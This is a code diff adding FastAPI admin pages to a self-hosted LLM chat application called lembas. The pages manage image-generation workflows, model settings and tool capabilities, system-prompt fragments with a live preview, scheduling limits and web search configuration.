+            "error": error,
+            "placeholders": workflow_service.PLACEHOLDERS,
+            "placeholder_help": _placeholder_help(db),
+            "workflow_text": extra.pop(
+                "workflow_text", json.dumps(row.workflow_json or {}, indent=2)
+            ),
+            **extra,
+        },
+    )
+
+
+def _populate(row: ImageWorkflow, form) -> None:
+    row.name = str(form.get("name") or "").strip()[:120]
+    row.description = str(form.get("description") or "").strip()[:2000]
+    row.enabled = "enabled" in form
+
+
+def _problem(db: Db, row: ImageWorkflow, form, *, existing_id: str = "") -> str:
+    """Why this cannot be saved, or an empty string.
+
+    A sentence rather than a 422, so a rejected save re-renders the form with
+    what was typed still in it -- losing forty lines of JSON to a validation
+    error is not a thing to do to somebody.
+    """
+    if not row.name:
+        return "A workflow needs a name."
+
+    slug = str(form.get("slug") or "").strip().lower()
+    if not SLUG_PATTERN.match(slug):
+        return (
+            "The name the model uses must be lowercase letters, digits, "
+            "hyphens or underscores, and start with a letter or digit."
+        )
+    clash = db.scalar(select(ImageWorkflow).where(ImageWorkflow.slug == slug))
+    if clash is not None and clash.id != existing_id:
+        return f"There is already a workflow called “{slug}”."
+    row.slug = slug
+
+    raw = str(form.get("workflow") or "").strip()
+    if not raw:
+        return "Paste the workflow, in ComfyUI's API format."
+    try:
+        parsed = json.loads(raw)
+    except json.JSONDecodeError as exc:
+        return f"That is not valid JSON: {exc}"
+    if not isinstance(parsed, dict) or not parsed:
+        return (
+            "A ComfyUI API workflow is a JSON object keyed by node id. Use "
+            "“Export (API)” in ComfyUI rather than “Save”."
+        )
+
+    # The check worth having: a workflow with no {{prompt}} in it draws the same
+    # picture whatever anybody types, and would look like a broken model rather
+    # than an unparameterised template.
+    found = workflow_service.placeholders_in(parsed)
+    missing = [name for name in REQUIRED_PLACEHOLDERS if name not in found]
+    if missing:
+        return (
+            f"The workflow never uses {{{{{missing[0]}}}}}, so every image would be "
+            f"the same. Put it where the text prompt goes."
+        )
+    unknown = found - set(workflow_service.PLACEHOLDERS)
+    if unknown:
+        return f"Unknown placeholder {{{{{sorted(unknown)[0]}}}}}."
+
+    row.workflow_json = parsed
+    return ""
+
+
+@router.get("/workflows/new")
+async def new_workflow(request: Request, db: Db, user: AdminUser) -> Response:
+    """A draft, never persisted -- the `admin_tools` shape.
+
+    Registered before `/workflows/{workflow_id}`: FastAPI matches in
+    registration order, and with the parameterised route first "new" is an id.
+    """
+    from pathlib import Path
+
+    base = Path(__file__).resolve().parent.parent / "services/images/base_workflow.json"
+    draft = ImageWorkflow(
+        slug="",
+        name="",
+        description="",
+        workflow_json=json.loads(base.read_text(encoding="utf-8")),
+        enabled=True,
+    )
+    return _detail(request, db, draft, is_new=True)
+
+
+@router.post("/workflows")
+async def create_workflow(request: Request, db: Db, user: AdminUser) -> Response:
+    form = await request.form()
+    row = ImageWorkflow(workflow_json={})
+    _populate(row, form)
+    problem = _problem(db, row, form)
+    if problem:
+        return _detail(
+            request,
+            db,
+            row,
+            is_new=True,
+            error=problem,
+            workflow_text=str(form.get("workflow") or ""),
+        )
+    row.position = (
+        db.scalar(select(func.coalesce(func.max(ImageWorkflow.position), -1))) or -1
+    ) + 1
+    db.add(row)
+    db.commit()
+    log.info("%s added image workflow %s", user.email, row.slug)
+    return RedirectResponse(
+        f"/admin/images?saved=Added {row.name}.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.get("/workflows/{workflow_id}/edit")
+async def edit_workflow(request: Request, db: Db, user: AdminUser, workflow_id: str) -> Response:
+    return _detail(request, db, _workflow(db, workflow_id), is_new=False)
+
+
+@router.post("/workflows/{workflow_id}/delete")
+async def delete_workflow(db: Db, user: AdminUser, workflow_id: str) -> Response:
+    row = _workflow(db, workflow_id)
+    name = row.name
+    db.delete(row)
+    db.commit()
+    log.info("%s deleted image workflow %s", user.email, name)
+    return RedirectResponse(
+        f"/admin/images?saved=Deleted {name}.", status_code=status.HTTP_303_SEE_OTHER
+    )
+
+
+@router.post("/workflows/{workflow_id}")
+async def update_workflow(request: Request, db: Db, user: AdminUser, workflow_id: str) -> Response:
+    row = _workflow(db, workflow_id)
+    form = await request.form()
+
+    # Validated against a draft, so a rejected save leaves the stored row alone
+    # and the form still holds what was typed.
+    draft = ImageWorkflow(workflow_json={}, position=row.position)
+    _populate(draft, form)
+    problem = _problem(db, draft, form, existing_id=row.id)
+    if problem:
+        draft.id = row.id
+        return _detail(
+            request,
+            db,
+            draft,
+            is_new=False,
+            error=problem,
+            workflow_text=str(form.get("workflow") or ""),
+        )
+
+    _populate(row, form)
+    row.slug = draft.slug
+    row.workflow_json = draft.workflow_json
+    row.last_checked_at = datetime.now(UTC)
+    row.last_error = ""
+    db.commit()
+    log.info("%s updated image workflow %s", user.email, row.slug)
+    return RedirectResponse(
+        f"/admin/images?saved=Saved {row.name}.", status_code=status.HTTP_303_SEE_OTHER
+    )

src/lembas/api/admin_models.py

@@ -0,0 +1,398 @@
+"""Model administration: ordering, defaults, images, access and capabilities."""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+
+from fastapi import APIRouter, File, Form, HTTPException, Request, Response, UploadFile, status
+from fastapi.responses import FileResponse, RedirectResponse
+from sqlalchemy import select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import AdminUser, Db, RequiredUser
+from lembas.db.models import Connection, Group, Model
+from lembas.services import chat as chat_service
+from lembas.services import settings_store, uploads
+from lembas.services.llm.openai_client import MAX_CONTEXT
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(tags=["admin-models"])
+
+# What the endpoint can do. Endpoints do not advertise any of this reliably, so
+# these are an administrator's assertion.
+# `embeddings` is the odd one out and is worth naming as such: the other three
+# say what a model can do in a *chat*, and this one says it is not for chatting
+# at all. It is what /admin/extraction picks from, and nothing else reads it.
+PROTOCOL_CAPABILITIES = ("reasoning", "vision", "tools", "embeddings")
+
+# Which tools this model is given. Distinct from the above: `tools` is whether a
+# tools array may be sent at all, these are what goes in it. Every one of them is
+# meaningless unless `tools` is on.
+#
+# The last two are gates rather than single tools: one covers every custom HTTP
+# tool an administrator has defined, the other every MCP server. Which of those
+# a particular person gets is the tool's own group list, not a flag here -- a
+# server can advertise forty tools, and a model page listing all of them is a
+# page nobody can read.
+TOOL_CAPABILITIES = (
+    ("tool_web_search", "Web search"),
+    ("tool_fetch", "Fetch a page"),
+    ("tool_knowledge", "Knowledge"),
+    ("tool_notes", "Notes"),
+    ("tool_memory", "Memory"),
+    ("tool_skills", "Skills"),
+    ("tool_custom", "Custom tools"),
+    ("tool_mcp", "MCP servers"),
+    ("tool_ask", "Ask the reader"),
+    ("tool_report", "Reports"),
+    ("tool_image", "Image generation"),
+    ("tool_scratch", "Canvas"),
+    ("tool_schedule", "Scheduling"),
+    ("tool_subagent", "Helpers"),
+    ("tool_agent", "Agent execution"),
+)
+
+CAPABILITIES = PROTOCOL_CAPABILITIES + tuple(key for key, _ in TOOL_CAPABILITIES)
+
+
+def _model(db: DBSession, model_id: str) -> Model:
+    model = db.get(Model, model_id)
+    if model is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
+    return model
+
+
+def _ordered(db: DBSession) -> list[Model]:
+    return list(
+        db.scalars(
+            select(Model).join(Connection).order_by(Model.position, Model.model_id)
+        )
+    )
+
+
+def _renumber(db: DBSession) -> None:
+    """Rewrite positions to 0..n-1.
+
+    Keeps the numbers dense so a move is always a swap with a neighbour, and
+    stops repeated reordering drifting into large sparse values.
+    """
+    for index, model in enumerate(_ordered(db)):
+        model.position = index
+    db.commit()
+
+
+# --- Listing -----------------------------------------------------------------
+PAGE_SIZE = 40
+
+# Filters offered as tabs above the list. Each is a predicate over a Model.
+FILTERS: dict[str, tuple[str, object]] = {
+    "all": ("All", lambda m: True),
+    "enabled": ("Enabled", lambda m: m.enabled),
+    "disabled": ("Disabled", lambda m: not m.enabled),
+    "pinned": ("Pinned", lambda m: m.pinned),
+    "restricted": ("Restricted", lambda m: not m.public),
+}
+
+
+@router.get("/admin/models")
+async def models_page(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    saved: str = "",
+    q: str = "",
+    filter: str = "all",
+    connection: str = "",
+    page: int = 1,
+):
+    """The model list.
+
+    Compact rows only -- editing happens on a page of its own. A connection can
+    advertise a hundred models, and a list that renders a full form for each of
+    them is unusable at that size.
+    """
+    everything = _ordered(db)
+
+    predicate = FILTERS.get(filter, FILTERS["all"])[1]
+    needle = q.strip().lower()
+
+    matching = [
+        model
+        for model in everything
+        if predicate(model)
+        and (not connection or model.connection_id == connection)
+        and (
+            not needle
+            or needle in model.model_id.lower()
+            or needle in (model.display_name or "").lower()
+        )
+    ]
+
+    pages = max(1, -(-len(matching) // PAGE_SIZE))
+    page = max(1, min(page, pages))
+    start = (page - 1) * PAGE_SIZE
+    visible = matching[start : start + PAGE_SIZE]
+
+    return render(
+        request,
+        "admin/models.html",
+        {
+            "models": visible,
+            "total": len(everything),
+            "matched": len(matching),
+            "page": page,
+            "pages": pages,
+            "page_start": start,
+            "connections": list(db.scalars(select(Connection).order_by(Connection.name))),
+            "default_model": settings_store.get(db, "default_model") or "",
+            "counts": {
+                key: sum(1 for m in everything if test(m)) for key, (_, test) in FILTERS.items()
+            },
+            "filters": {key: label for key, (label, _) in FILTERS.items()},
+            "active_filter": filter if filter in FILTERS else "all",
+            "q": q,
+            "connection_id": connection,
+            "saved": saved,
+        },
+    )
+
+
+@router.get("/admin/models/{model_id}/edit")
+async def model_detail(
+    request: Request, db: Db, user: AdminUser, model_id: str, saved: str = ""
+):
+    """Everything about one model, on its own page."""
+    model = _model(db, model_id)
+    ordered = _ordered(db)
+    index = next((i for i, m in enumerate(ordered) if m.id == model.id), 0)
+
+    return render(
+        request,
+        "admin/model_detail.html",
+        {
+            "model": model,
+            "groups": list(db.scalars(select(Group).order_by(Group.name))),
+            "capabilities": PROTOCOL_CAPABILITIES,
+            "tool_capabilities": TOOL_CAPABILITIES,
+            "efforts": chat_service.EFFORTS,
+            # Rows predating the split have no tool_* keys at all. Showing them
+            # unticked would be a lie: tools.enabled_tools treats absent as on
+            # when `tools` is on, so that an upgrade does not silently take web
+            # search away from every model already configured for it.
+            "tool_default": bool((model.capabilities_json or {}).get("tools")),
+            "default_model": settings_store.get(db, "default_model") or "",
+            "instance_prompt": settings_store.get(db, "system_prompt") or "",
+            "position_of": index + 1,
+            "total": len(ordered),
+            "previous": ordered[index - 1] if index > 0 else None,
+            "next": ordered[index + 1] if index + 1 < len(ordered) else None,
+            "saved": saved,
+        },
+    )
+
+
+# Registered BEFORE /{model_id}: FastAPI matches in registration order, so
+# with the parameterised route first, "bulk" is captured as a model id and
+# the handler 404s on a model that does not exist.
+@router.post("/admin/models/bulk")
+async def bulk_models(
+    db: Db, user: AdminUser, action: str = Form(...), model_ids: list[str] = Form(default=[])
+) -> Response:
+    """Enable or disable several models at once.
+
+    A freshly refreshed connection can advertise dozens of models; turning them
+    off one at a time is not a reasonable way to spend an afternoon.
+    """
+    models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
+    for model in models:
+        if action == "enable":
+            model.enabled = True
+        elif action == "disable":
+            model.enabled = False
+        elif action == "public":
+            model.public = True
+            model.groups = []
+        elif action == "private":
+            model.public = False
+    db.commit()
+    _renumber(db)
+    return RedirectResponse(
+        f"/admin/models?saved={len(models)}+model(s)+updated.", status_code=303
+    )
+
+
+@router.post("/admin/models/{model_id}")
+async def update_model(
+    db: Db,
+    user: AdminUser,
+    model_id: str,
+    display_name: str = Form(""),
+    description: str = Form(""),
+    system_prompt: str = Form(""),
+    enabled: bool = Form(False),
+    pinned: bool = Form(False),
+    public: bool = Form(False),
+    position: str = Form(""),
+    context_length: str = Form(""),
+    default_effort: str = Form(""),
+    group_ids: list[str] = Form(default=[]),
+    capability: list[str] = Form(default=[]),
+) -> Response:
+    model = _model(db, model_id)
+
+    model.display_name = display_name.strip()[:300]
+    model.description = description.strip()[:2000]
+    model.system_prompt = system_prompt.strip()[:8000]
+    # A string, so an emptied field is distinguishable and junk can be ignored
+    # rather than becoming a 422 -- the same shape `position` uses below.
+    if context_length.strip():
+        with contextlib.suppress(ValueError):
+            model.context_length = min(max(int(context_length), 0), MAX_CONTEXT)
+    else:
+        model.context_length = 0
+    model.enabled = enabled
+    model.pinned = pinned
+    model.public = public
+
+    # Merged rather than rebuilt, unlike the capabilities below: params_json
+    # holds whatever sampling defaults an administrator has set and this form
+    # only carries one of them.
+    params = dict(model.params_json or {})
+    wanted = default_effort.strip().lower()
+    if wanted in chat_service.EFFORTS:
+        params["reasoning_effort"] = wanted
+    else:
+        params.pop("reasoning_effort", None)
+    model.params_json = params
+
+    # Absent checkboxes are simply missing from a form post, so the submitted
+    # list IS the complete new state -- rebuild rather than merge.
+    model.capabilities_json = {name: (name in capability) for name in CAPABILITIES}
+
+    if public:
+        # Group rows would be dead weight and misleading in the UI.
+        model.groups = []
+    else:
+        model.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
+
+    db.commit()
+
+    # Typing a position is the only workable way to reorder a long list; the
+    # up/down buttons are for nudging a model one place.
+    if position.strip():
+        try:
+            wanted = max(1, int(position)) - 1
+        except ValueError:
+            wanted = None
+        if wanted is not None:
+            ordered = [m for m in _ordered(db) if m.id != model.id]
+            ordered.insert(min(wanted, len(ordered)), model)
+            for index, item in enumerate(ordered):
+                item.position = index
+            db.commit()
+
+    log.info("model %s updated by %s", model.model_id, user.email)
+    return RedirectResponse(
+        f"/admin/models/{model.id}/edit?saved=Saved.", status_code=303
+    )
+
+
+@router.post("/admin/models/{model_id}/move")
+async def move_model(
+    db: Db,
+    user: AdminUser,
+    model_id: str,
+    direction: str = Form(...),
+    back: str = Form(""),
+) -> Response:
+    """Swap a model with its neighbour."""
+    model = _model(db, model_id)
+    ordered = _ordered(db)
+    index = next((i for i, m in enumerate(ordered) if m.id == model.id), None)
+
+    if index is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
+
+    target = index - 1 if direction == "up" else index + 1
+    if 0 <= target < len(ordered):
+        ordered[index], ordered[target] = ordered[target], ordered[index]
+        for position, item in enumerate(ordered):
+            item.position = position
+        db.commit()
+
+    # Back to whichever filtered, paginated view the button was pressed on.
+    return RedirectResponse(back or "/admin/models", status_code=303)
+
+
+@router.post("/admin/models/{model_id}/default")
+async def set_default_model(
+    db: Db, user: AdminUser, model_id: str, back: str = Form("")
+) -> Response:
+    """Make a model the instance default for new chats."""
+    model = _model(db, model_id)
+    settings_store.update(db, {"default_model": model.model_id})
+    log.info("default model set to %s by %s", model.model_id, user.email)
+    return RedirectResponse(
+        back or f"/admin/models/{model.id}/edit?saved=Now+the+default+model.",
+        status_code=303,
+    )
+
+
+@router.post("/admin/models/{model_id}/image")
+async def upload_model_image(
+    db: Db, user: AdminUser, model_id: str, image: UploadFile = File(...)
+) -> Response:
+    model = _model(db, model_id)
+    payload = await image.read()
+
+    try:
+        filename = uploads.save_model_image(payload, image.content_type or "")
+    except uploads.UploadError as exc:
+        return RedirectResponse(
+            f"/admin/models/{model.id}/edit?saved={exc}", status_code=303
+        )
+
+    # Remove the old file rather than orphaning it in the uploads directory.
+    if model.image_path:
+        uploads.delete_model_image(model.image_path)
+
+    model.image_path = filename
+    db.commit()
+    return RedirectResponse(
+        f"/admin/models/{model.id}/edit?saved=Image+updated.", status_code=303
+    )
+
+
+@router.post("/admin/models/{model_id}/image/delete")
+async def delete_model_image(db: Db, user: AdminUser, model_id: str) -> Response:
+    model = _model(db, model_id)
+    if model.image_path:
+        uploads.delete_model_image(model.image_path)
+        model.image_path = ""
+        db.commit()
+    return RedirectResponse(
+        f"/admin/models/{model.id}/edit?saved=Image+removed.", status_code=303
+    )
+
+
+# --- Serving model images ----------------------------------------------------
+@router.get("/uploads/models/{filename}")
+async def model_image(user: RequiredUser, filename: str) -> Response:
+    """Serve a stored model avatar.
+
+    Behind the auth guard: these are instance assets, not public files, and
+    the path resolution in uploads refuses anything outside the directory.
+    """
+    path = uploads.model_image_path(filename)
+    if path is None:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such image.")
+    return FileResponse(
+        path,
+        media_type=uploads.media_type_for(filename),
+        # Filenames are random and content-addressed in practice, so a long
+        # cache is safe: a new image gets a new name.
+        headers={"Cache-Control": "private, max-age=604800"},
+    )

src/lembas/api/admin_prompts.py

@@ -0,0 +1,325 @@
+"""Prompt administration: every piece of text LLeMbas injects into a model.
+
+The fragments themselves live in `services/prompts.py`; this is the screen that
+edits them, and the preview that shows what they assemble into before anything
+is saved.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.services import chat as chat_service
+from lembas.services import harness as harness_service
+from lembas.services import prompts as prompts_service
+from lembas.services import settings_store
+from lembas.services import tools as tools_service
+from lembas.services.agent import policy
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/prompts", tags=["admin-prompts"])
+
+# What the preview pretends is attached, so the attachment fragment can be read
+# in place rather than imagined. An administrator can clear the field.
+SAMPLE_DOCUMENTS = "report.pdf, notes.txt"
+
+# The rest of what a preview has to pretend, and the reason it must.
+#
+# `harness.context_variables` fills most `requires` gates only when it is handed
+# a real `Chat` -- the machine, the directory, the plan, the project listing, a
+# scheduled task's instruction, the flag saying this is a helper. The preview
+# passes `chat=None`, so every one of those stayed empty and **eleven gated
+# fragments could never appear in it at all**: the whole agent surface, both
+# scheduling fragments, and the helper warning. An administrator editing
+# `tool.agent` previewed a system message with `tool.agent` missing from it, and
+# nothing said so.
+#
+# Samples rather than a transient Chat. `compose_from` takes plain variables
+# precisely so this screen never has to build one, and a constructed row would
+# need a connection, a profile and a directory that exist -- inventing an SSH
+# host to render a paragraph is a worse trade than inventing the paragraph's
+# values. This is what `SAMPLE_DOCUMENTS` has always done, extended to the rest.
+SAMPLE_AGENT = {
+    "agent_target": "buildbox",
+    "agent_dir": "/srv/www/example",
+    "agent_rewound": "on 3 August at 14:20",
+    "background": "on",
+    "project_files": "src/\n  app.py\n  models.py\nREADME.md\npyproject.toml",
+    "agent_instructions": "Run the tests with `make check` before proposing a change.",
+    "agent_instructions_file": "AGENTS.md",
+    "plan": "1. [done] Read the failing test\n2. [doing] Fix the parser\n3. [todo] Add a case",
+}
+
+SAMPLE_SCHEDULE = {
+    "schedule_instruction": "Summarise what changed in the repository since yesterday.",
+    "schedule_summary": "every weekday at 08:00",
+}
+
+# Situations a chat can be in that are not a tool family, so nothing on the
+# "Tools offered" row can reach them. `kind` and `parent_chat_id` in the model.
+SITUATION_ORDINARY = ""
+SITUATION_TASK = "task"
+SITUATION_HELPER = "helper"
+SITUATIONS = (
+    (SITUATION_ORDINARY, "An ordinary chat"),
+    (SITUATION_TASK, "A scheduled task, running unattended"),
+    (SITUATION_HELPER, "A helper sent by another model"),
+)
+
+
+def _families_of(db: Db, names: list[str]) -> list[str]:
+    """Keep only real family names, in the registry's order.
+
+    Read from the database rather than the constant: a family can belong to an
+    administrator-defined tool, and one the preview cannot name is one whose
+    guidance cannot be checked here.
+    """
+    wanted = set(names)
+    return [family for family in tools_service.families(db) if family in wanted]
+
+
+def _tool_names(db: Db, families: list[str]) -> str:
+    return ", ".join(
+        name for name, tool in tools_service.registry(db).items() if tool.family in families
+    )
+
+
+def _variables(
+    db: Db,
+    user: AdminUser,
+    *,
+    families: list[str],
+    model_name: str = "",
+    bases: str = "",
+    documents: str = "",
+    situation: str = SITUATION_ORDINARY,
+    mode: str = "",
+) -> dict[str, str]:
+    """The preview's variable values.
+
+    Built from the administrator's *own* memories and skills rather than from
+    invented ones: a preview against synthetic data cannot tell you whether your
+    memory section reads well against what is actually in there. `AdminUser`
+    means this is the operator looking at their own library.
+
+    No Chat row is made. `harness.compose_from` takes plain variables precisely
+    so that this screen never has to build a transient one.
+
+    The samples are gated exactly as `context_variables` gates the real values --
+    the agent block on the `agent` family, the schedule and helper blocks on the
+    situation rather than on any family, because neither is a tool. A preview
+    that admitted a fragment the real request would not is worse than one that
+    omitted it, so the gating is mirrored rather than approximated.
+    """
+    from lembas.services.agent import policy
+    from lembas.services.library import memories as memories_service
+    from lembas.services.library import skills as skills_service
+
+    values = harness_service.context_variables(db, user, [], None)
+    values.update(
+        {
+            "model_name": model_name,
+            "tool_names": _tool_names(db, families),
+            "memories": memories_service.block(db, user) if "memory" in families else "",
+            "skills": skills_service.index_block(db, user) if "skills" in families else "",
+            "knowledge_bases": bases if "knowledge" in families else "",
+            "document_names": documents,
+        }
+    )
+    if "agent" in families:
+        values.update(SAMPLE_AGENT)
+        # A real one out of the table, not invented prose: this bullet *is* the
+        # mode guidance, so a made-up sentence here would preview wording that
+        # no request ever carries.
+        values["agent_mode"] = policy.MODE_GUIDANCE.get(mode, "") or policy.MODE_GUIDANCE[
+            policy.MODE_EDIT
+        ]
+    if situation == SITUATION_TASK:
+        values.update(SAMPLE_SCHEDULE)
+    if situation == SITUATION_HELPER:
+        values["subagent"] = "yes"
+    return values
+
+
+def _field_context(db: Db, key: str, *, value: str, overridden: bool) -> dict:
+    return {
+        "fragment": prompts_service.catalogue(db)[key],
+        "value": value,
+        "overridden": overridden,
+    }
+
+
+@router.get("")
+async def prompts_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    stored = prompts_service.stored(db)
+    models = chat_service.available_models(db, user)
+    families = list(tools_service.families(db))
+
+    return render(
+        request,
+        "admin/prompts.html",
+        {
+            "groups": prompts_service.grouped(db),
+            "values": {
+                fragment.key: stored.get(fragment.key, fragment.default)
+                for fragment in prompts_service.catalogue(db).values()
+            },
+            "overridden": set(stored),
+            "variables": prompts_service.VARIABLES,
+            # The legend shows what each name resolves to right now, with every
+            # family on -- a legend nobody can check is just a list of words.
+            # Every situation at once, unlike the preview: a chat is either a
+            # scheduled task or a helper and never both, but a legend is a
+            # reference rather than a rendering, and a name shown as empty
+            # because of the situation it was built in reads as a name that
+            # resolves to nothing.
+            "resolved": {
+                **_variables(
+                    db,
+                    user,
+                    families=families,
+                    model_name=models[0].label if models else "",
+                    bases="Contracts, Recipes",
+                    documents=SAMPLE_DOCUMENTS,
+                    situation=SITUATION_TASK,
+                ),
+                "subagent": "yes",
+            },
+            "models": models,
+            "families": families,
+            "situations": SITUATIONS,
+            "modes": policy.MODE_LABELS,
+            "registry": sorted(
+                tools_service.registry(db).values(), key=lambda t: (t.family, t.name)
+            ),
+            "max_harness_chars": settings_store.get(
+                db, "max_harness_chars", key=settings_store.PROMPTS
+            ),
+            "default_harness_chars": harness_service.MAX_HARNESS_CHARS,
+            "sample_documents": SAMPLE_DOCUMENTS,
+            "saved": saved,
+        },
+    )
+
+
+# Registered before anything that could take a path parameter. There is no such
+# route today, but /admin/models has already been bitten once by adding one.
+@router.post("/default")
+async def use_default(request: Request, db: Db, user: AdminUser, key: str = Form("")):
+    """Fill one field with its built-in text, without saving anything.
+
+    Deliberately not a write. The administrator may be halfway through editing
+    something else, and a button that silently persisted would take that with
+    it. Saving afterwards is what makes it stick -- and because the text then
+    equals the default, `prompts.save` stores nothing and the override is gone.
+    """
+    fragment = prompts_service.catalogue(db).get(key)
+    if fragment is None:
+        return Response(status_code=status.HTTP_404_NOT_FOUND)
+    return render(
+        request,
+        "admin/_prompt_field.html",
+        _field_context(db, key, value=fragment.default, overridden=False),
+    )
+
+
+@router.post("/reset")
+async def reset_prompts(db: Db, user: AdminUser) -> Response:
+    prompts_service.clear(db)
+    log.info("prompt fragments reset to defaults by %s", user.email)
+    return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+
+
+@router.post("/preview")
+async def preview(request: Request, db: Db, user: AdminUser):
+    """The whole system message, assembled from what is in the form right now.
+
+    Unsaved text is what an administrator wants to see, so the submitted values
+    are passed as overrides rather than read back from the database.
+    """
+    form = await request.form()
+    overrides = _submitted(db, form)
+    families = _families_of(db, [str(value) for value in form.getlist("preview_family")])
+    model_name = str(form.get("preview_model") or "")
+    bases = str(form.get("preview_bases") or "").strip()
+    documents = str(form.get("preview_documents") or "").strip()
+    situation = str(form.get("preview_situation") or "")
+    mode = str(form.get("preview_mode") or "")
+
+    variables = _variables(
+        db,
+        user,
+        families=families,
+        model_name=model_name,
+        bases=bases,
+        documents=documents,
+        situation=situation,
+        mode=mode,
+    )
+    body = harness_service.compose_from(
+        db,
+        variables=variables,
+        families=families,
+        has_tools=bool(families),
+        overrides=overrides,
+    )
+    authored = (settings_store.get(db, "system_prompt") or "").strip()
+    lead = prompts_service.substitute(
+        overrides.get("seam.authored_lead", prompts_service.resolve(db, "seam.authored_lead")),
+        variables,
+    ).strip()
+
+    return render(
+        request,
+        "admin/_prompt_preview.html",
+        {
+            "system": harness_service.join(body, authored, lead=lead),
+            "harness_chars": len(body),
+            "limit": harness_service.limit_for(db),
+            "authored": authored,
+            "title_prompt": prompts_service.substitute(
+                overrides.get("task.title", prompts_service.resolve(db, "task.title")),
+                {"question": "What is lembas?", "answer": "Elvish waybread."},
+            ).strip(),
+        },
+    )
+
+
+def _submitted(db: Db, form) -> dict[str, str]:
+    """The fragment texts present in a form post, normalised.
+
+    Key presence is what is read, never a falsy value: an empty textarea is how
+    a fragment is turned off, and FastAPI's `Form(...)` cannot tell `x=` from an
+    absent `x`. Same reason `api/chats.py:update_chat` reads the raw form.
+    """
+    out: dict[str, str] = {}
+    for key in prompts_service.catalogue(db):
+        field = f"prompt.{key}"
+        if field in form:
+            out[key] = str(form.get(field) or "").replace("\r\n", "\n")
+    return out
+
+
+@router.post("")
+async def save_prompts(request: Request, db: Db, user: AdminUser) -> Response:
+    form = await request.form()
+    stored = prompts_service.save(db, _submitted(db, form))
+
+    try:
+        cap = int(str(form.get("max_harness_chars") or 0))
+    except ValueError:
+        cap = 0
+    settings_store.update(
+        db,
+        {"max_harness_chars": min(max(cap, 0), 100_000)},
+        key=settings_store.PROMPTS,
+    )
+
+    log.info("prompt fragments saved by %s (%d edited)", user.email, len(stored))
+    return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/admin_schedules.py

@@ -0,0 +1,76 @@
+"""Scheduling administration: whether work may run on its own, and how much.
+
+Everything here is clamped again in `settings_store.schedules` on the way out.
+That is not belt and braces for its own sake: a value stored by an earlier
+release, or edited into the database by hand, has to be survivable too, and the
+same argument `agents` and `images` already make. What this page adds is telling
+somebody *why* a number matters at the moment they change it.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import func, select
+
+from lembas.api.deps import AdminUser, Db
+from lembas.db.models import Schedule
+from lembas.services import settings_store
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/schedules", tags=["admin-schedules"])
+
+
+@router.get("")
+async def schedules_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    total = int(db.scalar(select(func.count()).select_from(Schedule)) or 0)
+    active = int(
+        db.scalar(
+            select(func.count()).select_from(Schedule).where(Schedule.enabled.is_(True))
+        )
+        or 0
+    )
+    return render(
+        request,
+        "admin/schedules.html",
+        {
+            "values": settings_store.schedules(db),
+            # Shown because turning the switch off does not delete anything, and
+            # an administrator who has just done so should be able to see what
+            # has stopped rather than infer it.
+            "total": total,
+            "active": active,
+            "saved": saved,
+        },
+    )
+
+
+@router.post("")
+async def save_schedules(
+    db: Db,
+    user: AdminUser,
+    enabled: bool = Form(False),
+    tick_seconds: int = Form(30),
+    max_per_user: int = Form(20),
+    max_concurrent: int = Form(3),
+    min_interval_seconds: int = Form(60),
+    max_queued: int = Form(3),
+) -> Response:
+    settings_store.update(
+        db,
+        {
+            "enabled": enabled,
+            "tick_seconds": tick_seconds,
+            "max_per_user": max_per_user,
+            "max_concurrent": max_concurrent,
+            "min_interval_seconds": min_interval_seconds,
+            "max_queued": max_queued,
+        },
+        key=settings_store.SCHEDULES,
+    )
+    log.info("scheduling %s by %s", "enabled" if enabled else "disabled", user.email)
+    return RedirectResponse("/admin/schedules?saved=1", status_code=status.HTTP_303_SEE_OTHER)

src/lembas/api/admin_search.py

@@ -0,0 +1,114 @@
+"""Web search administration: which provider, and how to reach it."""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Form, Request, Response, status
+from fastapi.responses import RedirectResponse
+
+from lembas.api.deps import AdminUser, Db
+from lembas.services import search as search_service
+from lembas.services import settings_store
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
+from lembas.services.search.base import SearchError
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/admin/search", tags=["admin-search"])
+
+SAFESEARCH = ("off", "moderate", "strict")
+
+
+@router.get("")
+async def search_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
+    values = settings_store.search(db)
+    return render(
+        request,
+        "admin/search.html",
+        {
+            "values": values,
+            "providers": search_service.PROVIDERS,
+            # Keyed by provider so the form can show an install hint against
+            # the one that needs it, without the template knowing why.
+            "problems": {
+                p.key: search_service.availability(p.key) for p in search_service.PROVIDERS
+            },
+            "safesearch_options": SAFESEARCH,
+            "masked": mask(decrypt(values.get("firecrawl_api_key_encrypted") or "")),
+            "unchanged": UNCHANGED_SENTINEL,
+            "saved": saved,
+        },
+    )
+
+
+@router.post("")
+async def save_search(
+    db: Db,
+    user: AdminUser,
+    enabled: bool = Form(False),
+    provider: str = Form("ddgs"),
+    max_results: int = Form(5),
+    region: str = Form("wt-wt"),
+    safesearch: str = Form("moderate"),
+    searxng_base_url: str = Form(""),
